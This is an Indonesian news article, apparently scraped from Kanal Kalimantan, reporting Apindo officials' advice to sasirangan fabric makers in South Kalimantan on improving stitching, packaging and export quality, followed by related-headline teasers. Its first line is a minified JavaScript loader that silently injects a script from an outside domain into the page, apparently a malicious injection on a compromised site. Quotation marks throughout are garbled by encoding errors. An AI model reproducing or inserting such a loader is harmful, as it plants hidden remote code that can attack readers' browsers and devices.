(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dewan Pengawas Dewan Pimpinan Nasional Asosiasi Pengusaha Indonesia (DPN Apindo) M Aditiya Warman meminta pengusaha kain sasirangan olahan bisa lebih memperhatikan mutu pada produknya.
Hal tersebut diungkapkannya disela kegiatan temu UKM pengrajin sasirangan Kalsel yang diselenggarakan Apindo Kalsel, bertema
“Peranan Apindo Kalsel dalam pemberdayaan UKM sasirangan demi peningkatan produk dan mutu sehingga mampu berdaya saingâ€Â, Rabu (10/10) di Swiss-Belhotel Borneo Banjarmasin.
“Kalau inovatif saya lihat sudah cukup baik. Hal ini bisa dilihat berbagai macam produk yang dibuat dari kain sasirangan sudah beragam. Namun untuk mutu saya lihat masih perlu banyak perbaikan,†ungkapnya.
Salah satu contoh, mutu dalam hal packing produk. Dilihatnya para pengusaha kain sasirangan olahan, packing masih sangat sederhana dan terkesan asal.
“Kalau sederhana dan asal bagaimana bisa produk ini mau diekspor. Kalau mau masuk pasar ekspor, packingnya harus standar dan bahkan harus menggunakan peralatan packing modern agar produk yang dibuat lebih higenis,†katanya.
Kemudian mutu lainnya yang perlu perhatian adalah terkait kerapian jahitan. Detail dan kerapian jahitan jangan sampai dikesampingkan, karena ini bisa mempengaruhi mampu tidaknya produk olahan sasirangan masuk ke pasar ekspor.
“Berpikirnya itu harus masuk pasar global, jangan terpaku untuk bisa memenuhi pasar lokal saja. Kalau kita bisa membuat produk ini berkualitas global, maka tentu harga jual produk bisa ditingkatkan,†tambahnya.
Sementara itu, Ketua Apindo Kalsel H Supriadi menambahkan, dikepengurusannya kali ini Apindo konsentrasi mendorong produk olahan kain sasirangan bisa lebih banyak masuk ke pasar global. Setelah kegiatan temu pengusaha kain sasirangan olahan kali ini, Apindo Kalsel akan membentuk komunitas dan group khusus untuk melakukan pembinaan yang berkelanjutan.
“Kita lihat produk olahan kain sasirangan yang dibuat pengusaha di Kalsel belum betul-betul dibina dengan baik, padahal potensinya sangat luar biasa, jika digarap dengan serius. Maka dari itulah Apindo Kalsel akan mencoba membantu dalam hal pembinaan,†jelasnya.
Selain pembinaan, Apindo Kalsel berencana memberikan fasilitas tempat khusus bagi pengusaha kain sasirangan olahan untuk memamerkan dan menjual berbagai macam produk secara langsung.
“Kita harapkan berbagai cara ini nantinya bisa efektif dalam mendorong peningkatan kualitas produk dan kuantitas penjualan para pengusaha kain sasirangan olahan di Banua,†pungkasnya. (arief)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.